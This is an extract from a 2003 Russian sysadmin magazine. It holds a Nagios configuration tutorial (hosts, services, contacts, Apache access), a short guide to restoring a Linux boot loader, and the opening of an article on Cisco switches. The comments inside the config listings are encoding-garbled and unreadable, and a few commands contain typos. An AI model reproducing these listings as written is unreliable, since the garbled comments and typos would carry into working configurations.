К сожалению, файлы все еще не готовы к употреблению. Nagios даже не сможет стартовать, если мы попытаемся его запустить. Разобраться в содержимом файлов-примеров, созданных во время инсталляции, довольно сложно. Самым лучшим выходом из подобной ситуации будет уничтожение всех конфигурационных данных и создание их вручную под моим чутким руководством. Такой подход принесет более глубокое понимание используемой методики настройки. Обнуляем все необходимые файлы. # cp /dev/null hosts.cfg services.cfg contacts.cfg contactgroups.cfg hostgroups.cfg # cp /dev/null dependencies.cfg escalations.cfg

Начиная с версии 1.0b2, в Nagios появилась возможность использовать шаблоны внутри конфигурационных файлов. Такая методика настройки позволяет многократно снизить время создания рабочей конфигурации. Перед нами стоит задача описать два хоста mail.regata.ru и proxy.regata.ru. Каждый сервер, находящийся под наблюдением, должен быть описан в файле хостов. Поэтому первым делом заполняем именно этот файл.

Содержимое файла hosts.cfg # Îïèñûâàåì øàáëîí õîñòà define host{ name generic-host # Èìÿ øàáëîíà – áóäåì ññûëàòüñÿ íà # íåãî ïîçæå ïðè îïèñàíèè êàæäîãî # õîñòà notifications_enabled 1 # Âêëþ÷àåì óâåäîìëåíèÿ event_handler_enabled 1 # Âêëþ÷àåì îáðàáîò÷èê ñîáûòèé flap_detection_enabled 1 # Âêëþ÷àåì îáíàðóæåíèå ìåðöàíèÿ process_perf_data 1 # Ñîáèðàòü ñòàòèñòèêó îá ýôôåêòèâ# íîñòè ðàáîòû ïðîöåññà retain_status_information 1 # Ñîõðàíÿòü ñòàòóñíóþ èíôîðìàöèþ # ìåæäó ïåðåçàãðóçêàìè ïðîãðàììû retain_nonstatus_information 1 # Ñîõðàíÿòü íåñòàòóñíóþ èíôîðìàöèþ # ìåæäó ïåðåçàãðóçêàìè ïðîãðàììû register 0 # Óêàçûâàåì, ÷òî âñå âûøåîïèñàííîå – # ýòî øàáëîí. Çàïðåùàåì ðåãèñòðèðî# âàòü ýòî îïèñàíèå êàê õîñò }

512 17668

1594

# Îïèñûâàåì õîñò ïî èìåíè mail define host{ use generic-host

# Ññûëêà íà èñïîëüçóåìûé øàáëîí host_name mail # Èìÿ õîñòà alias Mail Server # Ïñåâäîíèì õîñòà address mail.regata.ru # Èìÿ õîñòà â ôîðìàòå fqdn èëè åãî # àäðåñ check_command check-host-alive # Êîìàíäà ïðîâåðêè õîñòà âûïîëíÿåòñÿ # îáû÷íî ñ ïîìîùüþ ping. Ïîäðîáíåå # ìîæíî ïî÷èòàòü â ôàéëå # checkcommands.cfg max_check_attempts 10 # Êîëè÷åñòâî ïîïûòîê ïîâòîðíîãî òåñ# òèðîâàíèÿ, ïîñëå òîãî êàê îäíà èç # ïîïûòîê âîçâðàòèëà îøèáî÷íûé # ñòàòóñ. notification_interval 120 # Èíòåðâàë â ìèíóòàõ, ïî ïðîøåñòâèþ # êîòîðîãî íóæíî ïîâòîðíî îòñûëàòü # óâåäîìëåíèå, åñëè ñåðâåð âñå åùå # íå ðàáîòàåò. notification_period 24x7 # Ïåðèîä âðåìåíè, â òå÷åíèå êîòîðîãî # ñåðâåðó ðàçðåøåíî áåñïîêîèòü àäìè# íèñòðàòîðà ñâîèìè óâåäîìëåíèÿìè. #  äàííîì ñëó÷àå ýòî êðóãëûå ñóòêè. # Ïîäðîáíåå î ïåðèîäàõ ìîæíî # ïî÷èòàòü â ôàéëå timeperiods.cfg. notification_options d,u,r # Ñïèñîê ñîáûòèé, ïðè íàñòóïëåíèè # êîòîðûõ íåîáõîäèìî îòñûëàòü # óâåäîìëåíèÿ. Ñîîòâåòñòâåííî d,u,r # (DOWN, UNREACHABLE, RECOVERY) # îçíà÷àåò ñîáûòèÿ “ðàáîòàåò”, # “íåäîñòóïåí”, “âîññòàíîâëåí”. } # Îïèñûâàåì õîñò ïî èìåíè proxy define host{ use generic-host host_name proxy # Èìÿ õîñòà. Òàêæå ñòîèò îáðàòèòü # âíèìàíèå íà èçìåíèâøèåñÿ çàïèñè # alias è address. alias Proxy Server address proxy.regata.ru check_command check-host-alive max_check_attempts 10 notification_interval 120 notification_period 24x7 notification_options d,u,r }

Каждый хост должен состоять хотя бы в одной группе хостов. Опираясь на группы хостов, Nagios сможет определить, какую из групп администраторов нужно оповещать. Данные, полностью описывающие группы хостов, находятся в файле hostgroups.cfg. Формат этого файла настолько прост, что механизм шаблонов применять смысла нет. Посмотрим, чем заполнен этот файл.

Содержимое файла hostgroups.cfg define hostgroup{ hostgroup_name regata-servers # Èìÿ ãðóïïû alias Regata Servers # Ïñåâäîíèì ãðóïïû contact_groups regata-admins # Ñïèñîê ãðóïï êîíòàêòîâ, êîòîðûå # íóæíî óâåäîìëÿòü members mail proxy

11


администрирование # Ñïèñîê ñåðâåðîâ, ïðèíàäëåæàùèõ ê # ãðóïïå }

Пришло время вплотную заняться описанием сервисов, за которыми нужно наблюдать. Как и во всех остальных конфигурационных файлах, первым делом необходимо создать шаблон сервиса. Мы разберем его подробно. Затем второй и третьей записью будут описаны сервисы HTTP и PING, базирующиеся на хосте proxy.regata.ru. Соответственно, далее мы работаем с mail.regata.ru, на котором у нас базируются SMTP и IMAP.

Содержимое файла services.cfg # Îïèñûâàåì øàáëîí ñåðâèñà define service{ name generic-service # Èìÿ øàáëîíà active_checks_enabled 1 # Âêëþ÷èòü àêòèâíûå ïðîâåðêè passive_checks_enabled 1 # Ïðèíèìàòü ðåçóëüòàòû ïàññèâíûõ # ïðîâåðîê parallelize_check 1 # Àêòèâíûå ïðîâåðêè ëó÷øå âûïîëíÿòü # ïàðàëëåëüíî – òàêîé ïîäõîä # ïîâûøàåò ñêîðîñòü ðàáîòû obsess_over_service 0 # Ýòó îïöèþ ñòîèò âêëþ÷àòü òîëüêî # ïðè ñîçäàíèè ðàñïðåäåëåííîé # ñèñòåìû ìîíèòîðèíãà check_freshness 0 # Ñëåäèòü çà ñâåæåñòüþ ðåçóëüòàòîâ # ïðîâåðîê. Ïî óìîë÷àíèþ îòêëþ÷åíî notifications_enabled 1 # Óâåäîìëåíèÿ âêëþ÷åíû event_handler_enabled 1 # Âêëþ÷èòü îáðàáîò÷èêè ñîáûòèé flap_detection_enabled 1 # Èñïîëüçîâàòü îáíàðóæåíèå ìåðöàíèÿ process_perf_data 1 # Ñîáèðàòü äàííûå îá ýôôåêòèâíîñòè # âûïîëíåíèÿ ïðîâåðîê retain_status_information 1 # Ñîõðàíÿòü èíôîðìàöèþ î ñòàòóñå # ìåæäó ïåðåçàïóñêàìè Nagios retain_nonstatus_information 1 # Ñîõðàíÿòü íåñòàòóñíóþ èíôîðìàöèþ # ìåæäó ïåðåçàïóñêàìè Nagios register 0 # Çàïðåùàåì ðåãèñòðèðîâàòü ýòî # îïèñàíèå êàê ñåðâèñ } # Îïèñûâàåì ñåðâèñ HTTP äëÿ õîñòà # proxy.regata.rudefine service{ use generic-service # Èìÿ èñïîëüçóåìîãî øàáëîíà hostname proxy.regata.ru # Èìÿ õîñòà service_description HTTP # Îïèñàíèå ñåðâèñà is_volatile 0 # Äëÿ ñòàíäàðòíûõ ñåðâèñîâ ëó÷øå # îñòàâèòü çíà÷åíèå 0. Ê íåñòàíäàðò# íûì ñåðâèñàì ñòîèò îòíîñèòü òå # ñåðâèñû, êîòîðûå ïîñëå êàæäîé # ïðîâåðêè àâòîìàòè÷åñêè âîçâðàùàþòñÿ # â ñîñòîÿíèå “ÎÊ” âíå çàâèñèìîñòè # îò ðåæèìà, â êîòîðîì îíè # íàõîäèëèñü äî ïðîâåðêè. check_period 24x7

12

# Ïåðèîä, â òå÷åíèå êîòîðîãî ìîæíî # âûïîëíÿòü ïðîâåðêè max_check_attemps 3 # Ìàêñèìàëüíîå êîëè÷åñòâî ïîâòîðíûõ # ïðîâåðîê normal_check_interval 5 # Èíòåðâàë ìåæäó íîðìàëüíûìè # ïðîâåðêàìè retry_check_interval 1 # Èíòåðâàë ìåæäó ïîâòîðíûìè ïðîâåð# êàìè. Ïðèìåíÿåòñÿ, åñëè íîðìàëüíàÿ # ïðîâåðêà çàâåðøèëàñü íåóäà÷íî contact_groups regata-admins # Ãðóïïà êîíòàêòîâ, èñïîëüçóåìàÿ # äëÿ îïîâåùåíèÿ notification_interval 120 # Èíòåðâàë (â ìèíóòàõ), ïîñëå # êîòîðîãî íóæíî ïîñëàòü ïîâòîðíîå # óâåäîìëåíèå, åñëè ñåðâèñ òàê è íå # âîññòàíîâèëñÿ notification_period 24x7 # Ïåðèîä, â òå÷åíèå êîòîðîãî ìîæíî # ïðîèçâîäèòü îòïðàâêó óâåäîìëåíèé notification_options w,u,c,r # Ñïèñîê ñîáûòèé, ïðè íàñòóïëåíèè # êîòîðûõ íåîáõîäèìî # îòñûëàòü óâåäîìëåíèÿ. check_command check_http # Èìÿ êîìàíäû, âûïîëíÿåìîé äëÿ # ïðîâåðêè ñåðâèñà } # Îïèñûâàåì ñåðâèñ PING äëÿ õîñòà # proxy.regata.rudefine service{ use generic-service # Èìÿ èñïîëüçóåìîãî øàáëîíà hostname proxy.regata.ru # Èìÿ õîñòà service_description PING # Îïèñàíèå ñåðâèñà is_volatile 0 check_period 24x7 # Ïåðèîä, â òå÷åíèå êîòîðîãî ìîæíî # âûïîëíÿòü ïðîâåðêè max_check_attemps 3 # Ìàêñèìàëüíîå êîëè÷åñòâî ïîâòîðíûõ # ïðîâåðîê normal_check_interval 5 # Èíòåðâàë ìåæäó íîðìàëüíûìè # ïðîâåðêàìè retry_check_interval 1 # Èíòåðâàë ìåæäó ïîâòîðíûìè ïðîâåð# êàìè. Ïðèìåíÿåòñÿ, åñëè íîðìàëü# íàÿ ïðîâåðêà çàâåðøèëàñü íåóäà÷íî contact_groups regata-admins # Ãðóïïà êîíòàêòîâ, èñïîëüçóåìàÿ # äëÿ îïîâåùåíèÿ notification_interval 120 # Èíòåðâàë (â ìèíóòàõ), ïîñëå # êîòîðîãî íóæíî ïîñëàòü ïîâòîðíîå # óâåäîìëåíèå, åñëè ñåðâèñ òàê è íå # âîññòàíîâèëñÿ notification_period 24x7 # Ïåðèîä, â òå÷åíèå êîòîðîãî ìîæíî # ïðîèçâîäèòü îòïðàâêó óâåäîìëåíèé notification_options w,u,c,r # Ñïèñîê ñîáûòèé, ïðè íàñòóïëåíèè # êîòîðûõ íåîáõîäèìî # îòñûëàòü óâåäîìëåíèÿ. check_command check_ping # Èìÿ êîìàíäû, âûïîëíÿåìîé äëÿ # ïðîâåðêè ñåðâèñà } # Îïèñûâàåì ñåðâèñ SMTP äëÿ õîñòà # mail.regata.rudefine service{ use generic-service hostname mail.regata.ru service_description SMTP # Îïèñàíèå ñåðâèñà is_volatile 0 check_period 24x7 max_check_attemps 3 normal_check_interval 5 retry_check_interval 1 contact_groups regata-admins notification_interval 120

notification_period 24x7 notification_options w,u,c,r check_command check_smtp # Èìÿ êîìàíäû, âûïîëíÿåìîé äëÿ # ïðîâåðêè ñåðâèñà } # Îïèñûâàåì ñåðâèñ IMAP äëÿ õîñòà # mail.regata.rudefine service{ use generic-service hostname mail.regata.ru service_description IMAP # Îïèñàíèå ñåðâèñà is_volatile 0 check_period 24x7 max_check_attemps 3 normal_check_interval 5 retry_check_interval 1 contact_groups regata-admins notification_interval 120 notification_period 24x7 notification_options w,u,c,r check_command check_imap # Èìÿ êîìàíäû, âûïîëíÿåìîé äëÿ # ïðîâåðêè ñåðâèñà }

Как вы, возможно, сумели догадаться, имена команд, вызываемых для выполнения проверки того или иного сервиса, определяются параметром check_command. Сами же команды описываются в файле checkcommands.cfg. По странному стечению обстоятельств команда check_imap в этом файле не описана, несмотря на то что среди модулей, установленных в директорию /usr/local/ nagios/libexec/, файл check_im-ap присутствует. Видимо, это еще одна ошибка программистов Nagios. Ну и ладно, нам не привыкать делать все собственными руками. Разместим на любом месте файла checkcommands.cfg следующие строки: # 'check_imap' command definition define command{ command_name check_imap command_line $USER1$/ check_imap -H $HOSTADDRESS$ }

Создав описание сервисов, самое время перейти к определению списка людей, которым система будет отсылать оповещения. В терминологии Nagios каждая запись в файле contacts.cfg, описывающая человека, – это контакт. Формат записи довольно прост, поэтому и в данном случае шаблоны нам не пригодятся.

Содержимое файла contacts.cfg define contact{ contact_name tigrisha # Èìÿ êîíòàêòà alias Andrei Beshkov # Èìÿ ÷åëîâåêà service_notification_period 24x7


администрирование # Ïåðèîä âðåìåíè, â òå÷åíèå êîòîðîãî # ðàçðåøåíî ïîñûëàòü óâåäîìëåíèÿ # î ñîñòîÿíèè ñåðâèñîâ host_notification_period 24x7 # Ïåðèîä âðåìåíè, â òå÷åíèå êîòîðîãî # ðàçðåøåíî ïîñûëàòü óâåäîìëåíèÿ # î ñîñòîÿíèè õîñòîâ service_notification_options w,u,c,r # Ñïèñîê ñîáûòèé ñåðâèñîâ, ïðè # íàñòóïëåíèè êîòîðûõ íåîáõîäèìî # îòñûëàòü óâåäîìëåíèÿ. host_notification_options d,u,r # Ñïèñîê ñîáûòèé õîñòîâ, ïðè # íàñòóïëåíèè êîòîðûõ íåîáõîäèìî # îòñûëàòü óâåäîìëåíèÿ service_notification_commands notify-by-email, notify-by-epager # Êîìàíäû ðàññûëêè óâåäîìëåíèé î # ñîáûòèÿõ ñåðâèñà host_notification_commands hostnotify-by-email, host-notify-by-epager # Êîìàíäû ðàññûëêè óâåäîìëåíèé î # ñîáûòèÿõ õîñòà email admin@regata.ru # Ïî÷òîâûé àäðåñ pager 150345865@pager.icq.com # Àäðåñ ñèñòåìû ïåéäæèíãà } define contact{ contact_name amon # Èìÿ êîíòàêòà alias Dmitry Larin # Èìÿ ÷åëîâåêà service_notification_period 24x7 # Ïåðèîä âðåìåíè, â òå÷åíèå êîòîðîãî # ðàçðåøåíî ïîñûëàòü óâåäîìëåíèÿ î # ñîñòîÿíèè ñåðâèñîâ host_notification_period 24x7 # Ïåðèîä âðåìåíè, â òå÷åíèå êîòîðîãî # ðàçðåøåíî ïîñûëàòü óâåäîìëåíèÿ î # ñîñòîÿíèè õîñòîâ service_notification_options w,u,c,r # Ñïèñîê ñîáûòèé ñåðâèñîâ, ïðè # íàñòóïëåíèè êîòîðûõ íåîáõîäèìî # îòñûëàòü óâåäîìëåíèÿ. host_notification_options d,u,r # Ñïèñîê ñîáûòèé õîñòîâ, ïðè # íàñòóïëåíèè êîòîðûõ íåîáõîäèìî # îòñûëàòü óâåäîìëåíèÿ. service_notification_commands notify-by-email, notify-by-epager # Êîìàíäû ðàññûëêè óâåäîìëåíèé î # ñîáûòèÿõ ñåðâèñà host_notification_commands hostnotify-by-email, host-notify-by-epager # Êîìàíäû ðàññûëêè óâåäîìëåíèé î # ñîáûòèÿõ õîñòà email amon@regata.ru # Ïî÷òîâûé àäðåñ pager 150345865@pager.icq.com # Àäðåñ ñèñòåìû ïåéäæèíãà }

Каждый контакт должен принадлежать как минимум одной контактной группе. Давайте создадим такую группу для контактов, описанных выше.

Содержимое файла contactgroups.cfg define contactgroup{ contactgroup_name regata-admins # Èìÿ êîíòàêòíîé ãðóïïû alias regata.ru Admins # Ïñåâäîíèì ãðóïïû members tigrisha amon # Ñïèñîê êîíòàêòîâ, ñîñòîÿùèõ â # ãðóïïå }

Файл dependencies.cfg отвечает за

№2(3), февраль 2003

зависимости между хостами. Ну а файл escalations.cfg, в свою очередь, описывает эскалацию оповещений. В связи с тем, что рассматриваемый нами пример состоит всего из двух хостов, файлы зависимостей и эскалации нам не пригодятся. Отсюда вытекает приятный факт, говорящий, что необходимости заполнять их у нас нет. Возможно, в следующей статье я подробно опишу работу с файлами зависимостей и эскалации. Конфигурирование, наконец-то, завершено. Перед пробным запуском стоит упомянуть, что Nagios может быть запущен четырьмя способами. Давайте перечислим их. Вручную – как процесс переднего плана. Вручную – как фоновый процесс. Вручную – как демон. Автоматически – как демон, при старте системы. Для проверки конфигурации воспользуемся способом № 3. Собравшись с духом, можно попытаться запустить систему и начать мониторинг. Воспользуемся для этих целей скриптом nagios.sh. # /usr/local/etc/rc.d/nagios.sh

После этого должно произойти одно из двух: либо Nagios начнет работать, либо на экране появится следующая ошибка: Starting network monitor: nagios /bin/sh: -l: unrecognized option

Не пугайтесь, если вам довелось наступить на эти грабли. Приведенное выше сообщение об ошибке значит, что операционная система, на которой вы работаете, не поддерживает опцию -l команды su. В случае с FreeBSD дело обстоит именно таким образом. Поэтому команда должна выглядеть так: su -. В файле /usr/local/etc/rc.d/ nagios.sh ищем строку, содержущую символы su -l, и удаляем из нее букву l. Вот теперьто все должно работать как положено. Снова запускаем Nagios. Проверяем, как он себя чувствует с помощью ключа командной строки status. # /usr/local/etc/rc.d/nagios.sh status PID TT STAT TIME COMMAND

101 ?? Ss 0:20.81 /usr/ local/nagios/bin/nagios -d /usr/local/ nagios/etc

Если, несмотря на все принятые предосторожности, Nagios продолжает кричать об ошибках, то стоит убедиться, что директория /usr/local/ nagios/ вместе со всем своим содержимым принадлежит пользователю nagios и группе nagios. В случае ежели подобные ожидания не оправдываются, выполняем смену владельца. # chown –R nagios:nagios /usr/ local/nagios/

Ну если и это не помогло, то вам стоит запустить Nagios в режиме отладки. # /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg

В режиме отладки тексты сообщений обо всех найденных неполадках будут более подробными. Это обстоятельство поможет легче и быстрее обнаружить ошибки. Процедура исправления ошибок в таком случае довольно проста. Исходя из этого, я надеюсь, что у вас все получится, если не с первого, то со второго раза точно. Nagios уже выполняет мониторинг сервисов и при наступлении критических событий отправляет оповещения всем, кому положено. Но по одним оповещениям понять, что происходит, не так уж и легко. Согласитесь, что в интерактивном режиме смотреть статистику работы и разбираться с проблемами гораздо легче. Исходя из этого, давайте обратим наши взоры к процедуре настройки веб-интерфейса. В данной статье предполагается, что на машине, занимающейся системой мониторинга, работает веб-сервер Apache. Он обязан быть хотя бы минимально настроен и должен функционировать достаточно стабильно. В файле настроек Apache httpd.conf ищем такой фрагмент текста: <Directory "/usr/local/apache/ cgi-bin"> AllowOverride None Options None Order allow,deny Allow from all </Directory>

13


администрирование Сразу же после них добавляем такие строки: ScriptAlias /nagios/cgi-bin/ "/usr/ local/nagios/sbin/" <Directory "/usr/local/nagios/ sbin/"> AllowOverride AuthConfig Options ExecCGI Order allow,deny Allow from all </Directory> Alias /nagios/ /usr/local/nagios/ share/ <Directory "/usr/local/nagios/ share/"> AllowOverride AuthConfig Options None Order allow,deny Allow from all </Directory>

Выполнив эту процедуру, мы создали два псевдонима. Первый – для cgi директории nagios, находящейся в «/usr/local/nagios/sbin/». Доступ к ней можно получить, выполнив подобный http-запрос: http://ваш сайт/nagios/cgibin/. Второй псевдоним указывает, что в директории /usr/local/nagios/share/ находятся html-файлы веб-интерфейса и справочной документации . Просмотреть эти страницы можно, посетив адрес: http://ваш сайт /nagios/. При попытке посетить эти страницы, получаем ошибку. Для того чтобы псевдонимы и авторизация заработали, нужно создать файл .htaccess в директории /usr/local/nagios/sbin/ и внести в него следующие строки: AuthName "Nagios Access" AuthType Basic AuthUserFile /usr/local/nagios/etc/ htpasswd.users require valid-user

Для вступления в силу выполненных изменений осталось лишь перезапустить Apache. # /usr/local/apache/bin/apachectl restart

Таким образом мы объясняем веб-серверу, что доступ к файлам директории /usr/local/nagios/sbin/ может получить только авторизованный пользователь. Если есть желание, чтобы пользователи не смогли войти даже на главную страницу Nagios без ввода пароля, то нужно скопировать файл .htaccess из директории /usr/local/nagios/sbin/ в /usr/ local/nagios/share/.

14

Список паролей и имен пользователей должен находиться в файле /usr/ local/nagios/etc/htpasswd.users, который на данный момент еще не существует. Заводим нового пользователя и заодно с помощью ключа –c создаем файл. # /usr/local/apache/bin/tpasswd -c /usr/local/nagios/etc/htpasswd.users tigrisha New password: ****** Re-type new password: ****** Adding password for user tigrisha

С помощью той же команды, но без ключа –с, создаем еще одного пользователя. # /usr/local/apache/bin/htpasswd / usr/local/nagios/etc/htpasswd.users amon New password: ****** Re-type new password: ****** Adding password for user amon

Теперь давайте займемся конфигурационным файлом /usr/local/nagios/ etc/cgi.cfg. Нам нужно изменить некоторые параметры: authorized_for_system_information=tigrisha, amon # Ñïèñîê ïîëüçîâàòåëåé, êîòîðûì # ðàçðåøåí ïðîñìîòð èíôîðìàöèè î # ðàáîòå ïðîöåññà Nagios authorized_for_configuration_information= tigrisha, amon # Ñïèñîê ïîëüçîâàòåëåé, êîòîðûì # ðàçðåøåí ïðîñìîòð èíôîðìàöèè î # êîíôèãóðàöèè âñåõ õîñòîâ è # ñåðâèñîâ. Ïî óìîë÷àíèþ ïîëüçîâàòåëü # ìîæåò ñìîòðåòü êîíôèãóðàöèþ òîëüêî # õîñòîâ è ñåðâèñîâ, ïðèíàäëåæàùèõ # ê åãî êîíòàêòíîé ãðóïïå. authorized_for_system_commands=tigrisha, amon # Ñïèñîê ïîëüçîâàòåëåé, àâòîðèçî# âàííûõ äëÿ âûïîëíåíèÿ ÷åðåç # cmd.cgi êîìàíä óïðàâëåíèÿ # ïðîöåññîì Nagios. authorized_for_all_services=tigrisha, amon authorized_for_all_hosts=tigrisha, amon # Ýòè äâà ïàðàìåòðà îïðåäåëÿþò ñïèñîê # ïîëüçîâàòåëåé, êîòîðûì ðàçðåøåí # ïðîñìîòð èíôîðìàöèè îáî âñåõ # íàáëþäàåìûõ õîñòàõ è ñåðâèñàõ. # Ïî óìîë÷àíèþ ïîëüçîâàòåëü ìîæåò # âèäåòü òîëüêî òå õîñòû è ñåðâèñû, # êîòîðûå ïðèíàäëåæàò ê åãî # êîíòàêòíîé ãðóïïå. refresh_rate=10 # ×àñòîòà îáíîâëåíèÿ (â ñåêóíäàõ) # èíôîðìàöèè, ïðîñìàòðèâàåìîé ÷åðåç # âåá-èíòåðôåéñ. Ïî óìîë÷àíèþ # óñòàíîâëåíî 90 ñåêóíä, íî íàì # òàêîé áîëüøîé èíòåðâàë íå ïîäõîäèò. # Ïîýòîìó ïîñòàâèì 10 ñåêóíä.

Теперь в файл nagios.cfg вносим следующие изменения:

use_authentication=1 # Âêëþ÷àåì àóòåíòèôèêàöèþ # ïîëüçîâàòåëåé check_external_commands=1 # Ðàçðåøàåì îáðàáàòûâàòü êîìàíäû, # ïåðåäàâàåìûå ïðîöåññó Nagios # ÷åðåç âåá-èíòåðôåéñ. command_file=/usr/local/nagios/var/ nagios.cmd # Ìåñòîïîëîæåíèå ôàéëà âíåøíèõ # êîìàíä.

Для того чтобы внесенные изменения вступили в силу, перезапускаем процесс Nagios: # /usr/local/etc/rc.d/nagios.sh restart

Если все сделали правильно, то теперь самое время наслаждаться отлично работающей системой мониторинга. Мы установили наблюдение за двумя тестовыми хостами. Процедуру добавления остальных хостов оставляю читателю в качестве самостоятельного упражнения.


администрирование

ВОССТАНОВЛЕНИЕ ЗАГРУЗКИ ОПЕРАЦИОННОЙ СИСТЕМЫ LINUX АНДРЕЙ ШЕВЧЕНКО Как известно, операционные системы (ОС) фирмы Microsoft, такие как Windows 95, Windows 98, Windows 98 SE и др., при переустановке не сохраняют информацию, помещенную в основную загрузочную запись (MBR – Master Boot Record). Поэтому, при переустановке системы типа Windows в случае параллельного присутствия на жестком диске еще одной ОС с загрузчиком, хранящемся в ОЗЗ, теряется возможность загрузки этой самой ОС. Данное краткое руководство посвящено как раз вопросу восстановления возможности загрузки ОС Linux на примере загрузочного диска (или дискеты) дистрибутива ASPLinux. В качестве инструментария можно выбрать несколько вариантов. Первый и более удачный – это загрузка системы с установочного диска. Второй – с загрузочных дискет или одной загрузочной дискеты. Но второй вариант имеет преимущество над первым ввиду своей универсальности. При этом все же желательно иметь достаточную квалификацию.

Способ первый Первым шагом необходимо установить загрузку с CDROM и вставить установочный диск. При появлении надписи «Starting ASPLoader. Press <ESC> for menu...», нажать Esc и выбрать в меню «ASPlinux Recovery Console». После загрузки появится приглашение командного интерпретатора с правами суперпользователя (пользователя root по умолчанию). Очередным шагом будет следующая последовательность команд: mkdir -p /my_root_part mount /dev/hdXy /my_root_part

где X = a, b, c, d в зависимости от установки жесткого диска (a - master на первом контроллере, b – slave на первом контроллере, c - master на втором контроллере, d slave на втором контроллере), а y – номер раздела, на котором расположена система /(root) установленной ОС ASPLinux; my_root_part – имя точки монтирования для раздела /(root); mkdir и mount – команды «создать директорию» и «подмонтировать раздел» соответственно. Основным и третьим шагом будет собственно восстановление ОЗЗ. Вначале необходимо исполнить такую команду: chroot /my_root_part

Таким образом, командный интерпретатор будет уже

№2(3), февраль 2003

представлять строку shell с раздела /(root) жесткого диска. Далее восстанавливаем загрузочную запись в зависимости от применяемого загрузчика. lilo (äëÿ LILO) aspldr -m (äëÿ ASPLoader)

Не забудем выйти отсюда командой: exit

А потом отмонтировать раздел командой: umount /my_root_part

Если все прошло гдадко, то можно смело перезагружаться в нормальном режиме, предварительно отключив загрузку с CD или вытащив его.

Способ второй Обратимся теперь к более сложному варианту, когда под рукой нет диска, с помощью которого можно получить «recovery console» или аналогичный shell. Для того чтобы воспользоваться таким диском, следует проделать несколько предварительных операций. Загружаем систему с любого носителя в любом режиме, чтобы получить shell с правами суперпользователя. Затем создаем файлы-устройства для разделов жесткого диска следующими командами: mkdir -p /my_dev mknod /my_dev/hda b 3 0 ... mknod /y_dev/hda15 b 3 15 mknod /my_dev/hdb b 3 64 ... mknod /my_dev/hdb15 b 3 79 mknod /my_dev/hdc b 22 0 ... mknod /my_dev/hdc15 b 22 15 mknod /my_dev/hdd b 22 64 ... mknod /my_dev/hdd15 b 22 79

Выше приведен полный список команд, из которых необходимо использовать лишь те, которые создают файлыустройства самого диска (hda, hdb, hdc или hdd), так и те, которые создают файлы-устройства на раздел, содержащий /(root) восстанавливаемой ОС. После вышеописанных действий все остальные процедуры повторяются точно также, как и в случае первого варианта. (Однако надо учесть, что файлы-устройства необходимо брать из каталога /my_dev вместо привычного /dev).

15


администрирование

ИМПЕРИЯ CISCO

ДЕНИС ЕЛАНСКИЙ 16


администрирование Данной публикацией мы начинаем знакомить наших читателей с оборудованием, выпускаемым фирмой Cisco. Основанная в 1984 году, Cisco за прошедшие годы стала признанным лидером в производстве активного сетевого оборудования. Кроме того, в настоящее время в сферу интересов компании входят не только канонические коммутаторы и маршрутизаторы, но и многочисленное оборудование и программное обеспечение, имеющие к вычислительным сетям весьма опосредованное отношение. Это серверы доступа, кабели, ПО коммутаторов и маршрутизаторов (Cisco IOS – операционная система межсетевого взаимодействия), ПО управления корпоративными сетями (Cisco works), концентраторы, интерфейсные модули и платы расширения, системы безопасности, сетевые хранилища данных, продукты телефонии, видеосистемы, системы виртуальных частных сетей и устройства беспроводной связи. Учитывая, что основным направлением деятельности корпорации является производство активного сетевого оборудования (коммутаторов и маршрутизаторов), именно этим устройствам и будет уделено наибольшее внимание.

№2(3), февраль 2003

Коммутаторы Автор полагает, что читатель знаком с терминологией OSI ISO, а также с базовыми аспектами построения ЛВС. Вкратце, коммутатор – это многопортовое устройство, работающее на канальном уровне, что позволяет существенно повысить производительность сетей Ethernet, а также избежать ограничения 5/4/3. Основным отличием коммутатора от повторителя или концентратора является то, что приходящие пакеты после усиления ретранслируются не на все доступные порты, а только на тот, канальный адрес (MAC-адрес) которого соответствует адресу получателя. Подобная формулировка не совсем корректна, но вполне отображает суть дела. В настоящее время в производстве находятся следующие типы коммутаторов: Cisco Catalyst (далее – CC) 8500, СС 6000, СС 5000/5500, СС 4840G, CC 4200, CC 4000, CC 3920, CC 3900, CC 3550, CC 3500 XL, CC 3200, CC 3100, CC 2950, CC 2900 LRE XL. CC 2900 XL, CC 1900 & 2820, CC 6400 UAC, Cisco 6000 IP DSL, Cisco 1548 MS, Cisco BPX 8600, Cisco CSS 11000, Cisco IGX 8400, Cisco LATM, Cisco MGX 8850 IP+ATM, Cisco MGX 8200 и Cisco VCO/4K OP. В семействе СС 8500 существует два направления: мультисервисные

17


администрирование коммутаторы с функциями маршрутизации (8500 MSR) и коммутаторы с функциями маршрутизации уровня кампуса (8500 CSR). Коммутаторы класса 8500 CSR, в свою очередь, представлены двумя устройствами: СС 8510 CSR и СС 8540 CSR. Принципиальная разница между ними заключается в количестве поддерживаемых портов, а следовательно – в количестве плат расширения, которые могут быть интегрированы в корпус коммутатора. СС 8510CSR поддерживают следующие компоненты: плата процессора коммутации/маршрутизации; плата 10/100 Base T (16 портов ); плата 100 Base FX (многомодовое оптоволокно) с 8 портами, поддерживающими полудуплексный и полнодуплексный режимы передачи, оснащенными разъемами SC; плата 1000 Base FX с одним гигабитным портом, оснащенным SCразъемом. Кроме того, коммутатор поддерживает флэш-память для хранения системного ПО, индикаторы, отображающие состояние работы коммутатора, порт 10Base T, используемый для подключения рабочей станции в случае SNMP-управления. На плате процессора располагается 2 разъема PCIMCI. На этой плате интегрированы два порта: Auxiliary (AUX) и Console. AUX-порт представлен 25пиновым портом EIA/TIA 232 (RS-232) вилочного типа и используется для подключения модема. Консольный порт аналогичен AUX-порту. Отличие заключается в том, что это разъем розеточного типа и используется для подключения либо терминальной станции, либо модема. Коммутатор 8540 CSR, в отличие от своего младшего собрата, имеет 13 слотов расширения и два блока питания. На него могут быть установлены следующие модули: плата процессора коммутации/ маршрутизации, включающая в себя микропроцессор R5000 (работает на частоте 200 МГц при частоте системной шины 100 МГц), три типа памяти: два модуля DRAM SIMM – для хранения входящего и исходящего трафика и буферизации; флэш-память для хранения

18

